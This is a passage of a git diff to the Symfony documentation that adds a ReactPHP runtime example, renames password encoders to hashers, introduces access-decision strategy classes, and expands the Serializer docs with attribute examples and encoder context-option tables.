+For instance, imagine you want to create a runtime for `ReactPHP`_:
+
+**What arguments will the end user use?**
+
+For a generic ReactPHP application, no special arguments are
+typically required. This means that you can use the
+:class:`Symfony\\Component\\Runtime\\GenericRuntime`.
+
+**What will the user's application look like?**
+
+There is also no typical React application, so you might want to rely on
+the `PSR-15`_ interfaces for HTTP request handling.
+
+However, a ReactPHP application will need some special logic to *run*. That logic
+is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
+
+    use Psr\Http\Message\ServerRequestInterface;
+    use Psr\Http\Server\RequestHandlerInterface;
+    use React\EventLoop\Factory as ReactFactory;
+    use React\Http\Server as ReactHttpServer;
+    use React\Socket\Server as ReactSocketServer;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRunner implements RunnerInterface
+    {
+        private $application;
+        private $port;
+
+        public function __construct(RequestHandlerInterface $application, int $port)
+        {
+            $this->application = $application;
+            $this->port = $port;
+        }
+
+        public function run(): int
+        {
+            $application = $this->application;
+            $loop = ReactFactory::create();
+
+            // configure ReactPHP to correctly handle the PSR-15 application
+            $server = new ReactHttpServer(
+                $loop,
+                function (ServerRequestInterface $request) use ($application) {
+                    return $application->handle($request);
+                }
+            );
+
+            // start the ReactPHP server
+            $socket = new ReactSocketServer($this->port, $loop);
+            $server->listen($socket);
+
+            $loop->run();
+
+            return 0;
+        }
+    }
+
+By extending the ``GenericRuntime``, you make sure that the application is
+always using this ``ReactPHPRunner``::
+
+    use Symfony\Component\Runtime\GenericRuntime;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRuntime extends GenericRuntime
+    {
+        private $port;
+
+        public function __construct(array $options)
+        {
+            $this->port = $options['port'] ?? 8080;
+            parent::__construct($options);
+        }
+
+        public function getRunner(?object $application): RunnerInterface
+        {
+            if ($application instanceof RequestHandlerInterface) {
+                return new ReactPHPRunner($application, $this->port);
+            }
+
+            // if it's not a PSR-15 application, use the GenericRuntime to
+            // run the application (see "Resolvable Applications" above)
+            return parent::getRunner($application);
+        }
+    }
+
+The end user will now be able to create front controller like::
+
+    <?php
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new SomeCustomPsr15Application();
+    };
+
+.. _ReactPHP: https://reactphp.org/
+.. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index f98be723749..dc93ce931da 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -121,15 +121,17 @@ the given password is valid.
 
 This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`.
 It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`,
-uses a :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+uses a :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 to create a hash of the password and returns an authenticated token if the
 password was valid::
 
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactoryInterface;
     use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
+    // The 'InMemoryUser' class was introduced in Symfony 5.3.
+    // In previous versions it was called 'User'
     $userProvider = new InMemoryUserProvider(
         [
             'admin' => [
@@ -143,14 +145,14 @@ password was valid::
     // for some extra checks: is account enabled, locked, expired, etc.
     $userChecker = new UserChecker();
 
-    // an array of password encoders (see below)
-    $encoderFactory = new EncoderFactory(...);
+    // an array of password hashers (see below)
+    $hasherFactory = new PasswordHasherFactoryInterface(...);
 
     $daoProvider = new DaoAuthenticationProvider(
         $userProvider,
         $userChecker,
         'secured_area',
-        $encoderFactory
+        $hasherFactory
     );
 
     $daoProvider->authenticate($unauthenticatedToken);
@@ -163,69 +165,76 @@ password was valid::
     It is also possible to let multiple user providers try to find the user's
     data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`.
 
-The Password Encoder Factory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _the-password-encoder-factory:
+
+The Password Hasher Factory
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`
-uses an encoder factory to create a password encoder for a given type of
-user. This allows you to use different encoding strategies for different
-types of users. The default :class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory`
-receives an array of encoders::
+uses a factory to create a password hasher for a given type of user. This allows
+you to use different hashing strategies for different types of users.
+The default :class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`
+receives an array of hashers::
 
     use Acme\Entity\LegacyUser;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
-    use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder;
-    use Symfony\Component\Security\Core\User\User;
+    use Symfony\Component\PasswordHasher\Hasher\MessageDigestPasswordHasher;
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+    use Symfony\Component\Security\Core\User\InMemoryUser;
 
-    $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000);
-    $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1);
+    $defaultHasher = new MessageDigestPasswordHasher('sha512', true, 5000);
+    $weakHasher = new MessageDigestPasswordHasher('md5', true, 1);
 
-    $encoders = [
-        User::class       => $defaultEncoder,
-        LegacyUser::class => $weakEncoder,
+    $hashers = [
+        InMemoryUser::class => $defaultHasher,
+        LegacyUser::class   => $weakHasher,
         // ...
     ];
-    $encoderFactory = new EncoderFactory($encoders);
+    $hasherFactory = new PasswordHasherFactory($hashers);
 
-Each encoder should implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+Each hasher should implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 or be an array with a ``class`` and an ``arguments`` key, which allows the
-encoder factory to construct the encoder only when it is needed.
+hasher factory to construct the hasher only when it is needed.
+
+.. _creating-a-custom-password-encoder:
 
-Creating a custom Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating a custom Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There are many built-in password encoders. But if you need to create your
+There are many built-in password hasher. But if you need to create your
 own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-   (you can also extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`);
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
+   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
 
 #. The implementations of
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
    and
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::isPasswordValid`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
    must first of all make sure the password is not too long, i.e. the password length is no longer
    than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder::isPasswordTooLong`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
    method for this check::
 
-       use Symfony\Component\Security\Core\Encoder\BasePasswordEncoder;
+       use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
+       use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
        use Symfony\Component\Security\Core\Exception\BadCredentialsException;
 
-       class FoobarEncoder extends BasePasswordEncoder
+       class FoobarHasher extends UserPasswordHasher
        {
-           public function encodePassword($raw, $salt)
+           use CheckPasswordLengthTrait;
+
+           public function hashPassword(UserInterface $user, string $plainPassword): string
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    throw new BadCredentialsException('Invalid password.');
                }
 
                // ...
            }
 
-           public function isPasswordValid($encoded, $raw, $salt)
+           public function isPasswordValid(UserInterface $user, string $plainPassword)
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    return false;
                }
 
@@ -233,13 +242,15 @@ own, it needs to follow these rules:
            }
        }
 
-Using Password Encoders
-~~~~~~~~~~~~~~~~~~~~~~~
+.. _using-password-encoders:
+
+Using Password Hashers
+~~~~~~~~~~~~~~~~~~~~~~
 
-When the :method:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory::getEncoder`
-method of the password encoder factory is called with the user object as
-its first argument, it will return an encoder of type :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-which should be used to encode this user's password::
+When the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory::getPasswordHasher`
+method of the password hasher factory is called with the user object as
+its first argument, it will return a hasher of type :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
+which should be used to hash this user's password::
 
     // a Acme\Entity\LegacyUser instance
     $user = ...;
@@ -247,12 +258,12 @@ which should be used to encode this user's password::
     // the password that was submitted, e.g. when registering
     $plainPassword = ...;
 
-    $encoder = $encoderFactory->getEncoder($user);
+    $hasher = $hasherFactory->getPasswordHasher($user);
 
-    // returns $weakEncoder (see above)
-    $encodedPassword = $encoder->encodePassword($plainPassword, $user->getSalt());
+    // returns $weakHasher (see above)
+    $hashedPassword = $hasher->hashPassword($user, $plainPassword);
 
-    $user->setPassword($encodedPassword);
+    $user->setPassword($hashedPassword);
 
     // ... save the user
 
@@ -265,26 +276,22 @@ in) is correct, you can use::
     // the submitted password, e.g. from the login form
     $plainPassword = ...;
 
-    $validPassword = $encoder->isPasswordValid(
-        $user->getPassword(), // the encoded password
-        $plainPassword,       // the submitted password
-        $user->getSalt()
-    );
+    $validPassword = $hasher->isPasswordValid($user, $plainPassword);
 
 Authentication Events
 ---------------------
 
 The security component provides the following authentication events:
 
-===============================  ================================================================= ==============================================================================
-Name                             Event Constant                                                    Argument Passed to the Listener
-===============================  ================================================================= ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
-security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
-security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                             :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
-security.switch_user             ``SecurityEvents::SWITCH_USER``                                   :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
-security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
-===============================  ================================================================= ==============================================================================
+===============================  ======================================================================== ==============================================================================
+Name                             Event Constant                                                           Argument Passed to the Listener
+===============================  ======================================================================== ==============================================================================
+security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
+security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
+security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                                    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+security.switch_user             ``SecurityEvents::SWITCH_USER``                                          :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent::class``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
+===============================  ======================================================================== ==============================================================================
 
 Authentication Success and Failure Events
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -295,6 +302,11 @@ request if you have session-based authentication, if ``always_authenticate_befor
 is enabled or if token is not authenticated before AccessListener is invoked.
 See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
 a ``security.authentication.failure`` event is dispatched. You could listen on
 the ``security.authentication.failure`` event, for example, in order to log
@@ -317,7 +329,7 @@ The ``security.switch_user`` event is triggered every time you activate
 the ``switch_user`` firewall listener.
 
 The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change, it can help you doing some clean-up task when a logout has been triggered.
+because of a user change, it can help you doing some clean-up task.
 
 .. seealso::
 
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index b884ce97ac0..3effc3d0794 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -37,26 +37,8 @@ Access Decision Manager
 Since deciding whether or not a user is authorized to perform a certain
 action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager`
 itself depends on multiple voters, and makes a final verdict based on all
-the votes (either positive, negative or neutral) it has received. It
-recognizes several strategies:
-
-``affirmative`` (default)
-    grant access as soon as there is one voter granting access;
-
-``consensus``
-    grant access if there are more voters granting access than there are denying;
-
-``unanimous``
-    only grant access if none of the voters has denied access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
-
-``priority``
-    grants or denies access by the first voter that does not abstain;
-
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
+the votes (either positive, negative or neutral) it has received and the
+given strategy.
 
 Usage of the available options in detail::
 
@@ -65,27 +47,69 @@ Usage of the available options in detail::
     // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
     $voters = [...];
 
-    // one of "affirmative", "consensus", "unanimous", "priority"
+    // instance of Symfony\Component\Security\Core\Authorization\Strategy\AccessDecisionStrategyInterface
     $strategy = ...;
 
-    // whether or not to grant access when all voters abstain
-    $allowIfAllAbstainDecisions = ...;
-
-    // whether or not to grant access when there is no majority (applies only to the "consensus" strategy)
-    $allowIfEqualGrantedDeniedDecisions = ...;
-
-    $accessDecisionManager = new AccessDecisionManager(
-        $voters,
-        $strategy,
-        $allowIfAllAbstainDecisions,
-        $allowIfEqualGrantedDeniedDecisions
-    );
+    $accessDecisionManager = new AccessDecisionManager($voters, $strategy);
 
 .. seealso::
 
     You can change the default strategy in the
     :ref:`configuration <security-voters-change-strategy>`.
 
+Strategies
+----------
+
+.. versionadded:: 5.4
+
+    The strategy classes were introduced in Symfony 5.4. In earlier versions, the strategy was passed as a string.
+
+The following strategies are bundled with the component:
+
+``AffirmativeStrategy`` (default)
+    grant access as soon as there is one voter granting access;
+
+``ConsensusStrategy``
+    grant access if there are more voters granting access than there are denying;
+    if there is a draw between votes, the decision is made based on the
+    ``$allowIfEqualGrantedDeniedDecisions`` constructor parameter which defaults to ``true``.
+
+``UnanimousStrategy``
+    only grant access if none of the voters has denied access.
+
+``PriorityStrategy``
+    grants or denies access by the first voter that does not abstain;
+
+    .. versionadded:: 5.1
+
+        The "priority" version strategy was introduced in Symfony 5.1.
+
+If all voters abstained from voting, the decision is based on the ``$allowIfAllAbstainDecisions``
+constructor parameter which is supported by all of the built-in strategies and defaults to ``false``.
+
+If none of the built-in strategies seem to fit, a custom strategy may be provided. The strategy will
+receive a stream of votes and may return as soon as it has seen enough votes to come to a conclusion.
+
+::
+
+    /**
+     * Always picks the third voter.
+     */
+    class ThirdVoterStrategy implements AccessDecisionStrategyInterface
+    {
+        public function decide(\Traversable $results): bool
+        {
+            $votes = 0;
+            foreach ($results as $result) {
+                if (++$votes === 3) {
+                    return $result === VoterInterface::ACCESS_GRANTED;
+                }
+            }
+
+            return false;
+        }
+    }
+
 Voters
 ------
 
@@ -207,7 +231,7 @@ expressions have access to a number of
 
     $expression = new Expression(
         '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
-    )
+    );
 
     $vote = $expressionVoter->vote($token, $object, [$expression]);
 
diff --git a/components/semaphore.rst b/components/semaphore.rst
index 5f26c781164..ebae3df89e8 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -76,6 +76,6 @@ already acquired.
     If you don't release the semaphore explicitly, it will be released
     automatically on instance destruction. In some cases, it can be useful to
     lock a resource across several requests. To disable the automatic release
-    behavior, set the fifth argument of the ``createLock()`` method to ``false``.
+    behavior, set the fifth argument of the ``createSemaphore()`` method to ``false``.
 
 .. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming)
diff --git a/components/serializer.rst b/components/serializer.rst
index 43012f5cd20..822bd93ff30 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -174,6 +174,8 @@ when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` contex
 ``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
 when constructing the normalizer::
 
+    use App\Model\Person;
+
     $data = <<<EOF
     <person>
         <name>foo</name>
@@ -189,7 +191,7 @@ when constructing the normalizer::
 
     // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
     // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, 'App\Model\Person', 'xml', [
+    $person = $serializer->deserialize($data, Person::class, 'xml', [
         AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
     ]);
 
@@ -315,6 +317,26 @@ Then, create your groups definition:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\Groups;
+
+        class MyObj
+        {
+            #[Groups(['group1', 'group2'])]
+            public $foo;
+
+            #[Groups(['group3'])]
+            public function getBar() // is* methods are also supported
+            {
+                return $this->bar;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -326,7 +348,7 @@ Then, create your groups definition:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -437,6 +459,20 @@ Option 1: Using ``@Ignore`` Annotation
             public $bar;
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Ignore;
+
+        class MyClass
+        {
+            public $foo;
+
+            #[Ignore]
+            public $bar;
+        }
+
     .. code-block:: yaml
 
         App\Model\MyClass:
@@ -658,6 +694,25 @@ defines a ``Person`` entity with a ``firstName`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Entity;
+
+        use Symfony\Component\Serializer\Annotation\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private $firstName;
+
+            public function __construct($firstName)
+            {
+                $this->firstName = $firstName;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         App\Entity\Person:
@@ -667,7 +722,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -681,7 +736,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 This custom mapping is used to convert property names when serializing and
 deserializing objects::
 
-    $serialized = $serializer->serialize(new Person("Kévin"), 'json');
+    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
     // {"customer_name": "Kévin"}
 
 Serializing Boolean Attributes
@@ -734,7 +789,24 @@ When serializing, you can set a callback to format a specific object property::
 Normalizers
 -----------
 
-There are several types of normalizers available:
+Normalizers turn **object** into **array** and vice versa. They implement
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+for normalize (object to array) and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
+(array to object).
+
+You can add new normalizers to a Serializer instance by using its first constructor argument::
+
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $normalizers = [new ObjectNormalizer()];
+    $serializer = new Serializer($normalizers, []);
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
@@ -800,7 +872,7 @@ There are several types of normalizers available:
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
 
-    It will get errors from the form and normalize them into an normalized array.
+    It will get errors from the form and normalize them into a normalized array.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
     This normalizer converts objects that implement
@@ -810,16 +882,31 @@ There are several types of normalizers available:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
     This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. Also it can
-    denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`.
+    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
 .. versionadded:: 5.2
 
     The ``UidNormalizer`` was introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
+
 .. _component-serializer-encoders:
 
 Encoders
@@ -858,6 +945,11 @@ The Serializer component provides several built-in encoders:
 :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
     This encoder encodes and decodes data in `CSV`_.
 
+.. note::
+
+    You can also create your own Encoder to use another structure. Read more at
+    :doc:`/serializer/custom_encoders`.
+
 All these encoders are enabled by default when using the Serializer component
 in a Symfony application.
 
@@ -878,6 +970,44 @@ The ``CsvEncoder``
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
+The ``CsvEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the CsvEncoder an associative array::
+
+    $csvEncoder->encode($array, 'csv', $context);
+
+These are the options available:
+
+======================= =====================================================  ==========================
+Option                  Description                                            Default
+======================= =====================================================  ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
+                        character only)
+``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
+``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
+                        line in the CSV file
+``csv_escape_char``     Sets the escape character (at most one character)      empty string
+``csv_key_separator``   Sets the separator for array's keys during its         ``.``
+                        flattening
+``csv_headers``         Sets the order of the header and data columns
+                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
+                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
+                        then ``serialize($data, 'csv', $options)`` returns
+                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
+                        with a ``\t`` character
+``as_collection``       Always returns results as a collection, even if only   ``true``
+                        one line is decoded.
+``no_headers``          Disables header in the encoded CSV                     ``false``
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
+======================= =====================================================  ==========================
+
+.. versionadded:: 5.3
+
+    The ``csv_end_of_line`` option was introduced in Symfony 5.3.
+
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -887,17 +1017,31 @@ For example, take an object normalized as following::
 
     ['foo' => [1, 2], 'bar' => true];
 
-The ``XmlEncoder`` will encode this object like that::
+The ``XmlEncoder`` will encode this object like that:
 
-    <?xml version="1.0"?>
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
     <response>
         <foo>1</foo>
         <foo>2</foo>
         <bar>1</bar>
     </response>
 
-Be aware that this encoder will consider keys beginning with ``@`` as attributes, and will use
-the key  ``#comment`` for encoding XML comments::
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    // is encoded as follows:
+    // <?xml version="1.0"?>
+    // <response>
+    //     <foo bar="value">
+    //        baz
+    //     </foo>
+    // </response>
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
 
     $encoder = new XmlEncoder();
     $encoder->encode([
@@ -923,12 +1067,97 @@ always as a collection.
     changed with the optional ``$encoderIgnoredNodeTypes`` argument of the
     ``XmlEncoder`` class constructor.
 
+The ``XmlEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the XmlEncoder an associative array::
+
+    $xmlEncoder->encode($array, 'xml', $context);
+
+These are the options available:
+
+==============================  =================================================  ==========================
+Option                          Description                                        Default
+==============================  =================================================  ==========================
+``xml_format_output``           If set to true, formats the generated XML with     ``false``
+                                line breaks and indentation
+``xml_version``                 Sets the XML version attribute                     ``1.1``
+``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
+``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
+``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
+                                type casting
+``xml_root_node_name``          Sets the root node name                            ``response``
+``as_collection``               Always returns results as a collection, even if    ``false``
+                                only one line is decoded
+``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
+                                to be ignored while decoding
+``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
+                                to be ignored while encoding
+``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
+``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
+                                generated XML
+==============================  =================================================  ==========================
+
+Example with custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    // create encoder with specified options as new default settings
+    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    // encode with default context
+    $xmlEncoder->encode($data, 'xml');
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    // encode with modified context
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
 This encoder requires the :doc:`Yaml Component </components/yaml>` and
 transforms from and to Yaml.
 
+The ``YamlEncoder`` Context Options
+...................................
+
+The ``encode()`` method, like other encoder, uses ``context`` to set
+configuration options for the YamlEncoder an associative array::
+
+    $yamlEncoder->encode($array, 'yaml', $context);
+
+These are the options available:
+
+=============== ========================================================  ==========================
+Option          Description                                               Default
+=============== ========================================================  ==========================
+``yaml_inline`` The level where you switch to inline YAML                 ``0``
+``yaml_indent`` The level of indentation (used internally)                ``0``
+``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
+                to customize the encoding / decoding YAML string
+=============== ========================================================  ==========================
+
 Skipping ``null`` Values
 ------------------------
 
@@ -947,6 +1176,39 @@ to ``true``::
 
 .. _component-serializer-handling-circular-references:
 
+Collecting Type Errors While Denormalizing
+------------------------------------------
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
+collect all exceptions at once, and to get the object partially denormalized::
+
+    try {
